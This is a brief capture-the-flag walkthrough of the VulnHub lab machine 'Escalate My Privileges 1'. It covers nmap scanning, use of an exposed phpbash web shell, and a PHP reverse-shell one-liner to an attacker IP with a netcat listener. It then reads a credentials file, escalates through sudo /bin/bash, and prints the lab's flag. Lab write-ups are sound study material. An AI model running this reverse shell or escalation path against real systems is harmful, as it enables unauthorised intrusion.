Machine: https://www.vulnhub.com/entry/escalate-my-privileges-1,448/
- NMap
- netcat
- md5sum
- After Running the VM as bridged connection, I checked my gateway page to find IP. In my case ip is
192.168.0.11
. - Scan with
NMap
gives some open ports. - Nmap with this command
nmap -A 192.168.0.11
gives an urlhttp://192.168.0.11/phpbash.php
. - It’s a shell on that link. We can execute command as user
apache
. - Running this command
php -r '$sock=fsockopen("192.168.0.4",1337);exec("/bin/sh -i <&3 >&3 2>&3");'
with my ip port gives anetcat
shell to my listnernc -lvnp 1337
. - We got shell as
armour
.
- On
/home/armour
directory there is a file namedCredentials.txt
. Inside it we get passwordmd5(rootroot1)
. - Spawn tty shell, convert
md5sum
of therootroot1
to use as password. Then login asarmour
withmd5sum
ofrootroot1
. - Using
sudo -l
command shows/bin/bash
could be used to get root shell. - Used
sudo /bin/bash
command toroot
. - We can get flag inside
/root/flag.txt
by using command.cat /root/flag.txt
The flag is628435356e49f976bab2c04948d22fe4
.
Author: Zishan Ahamed Thandar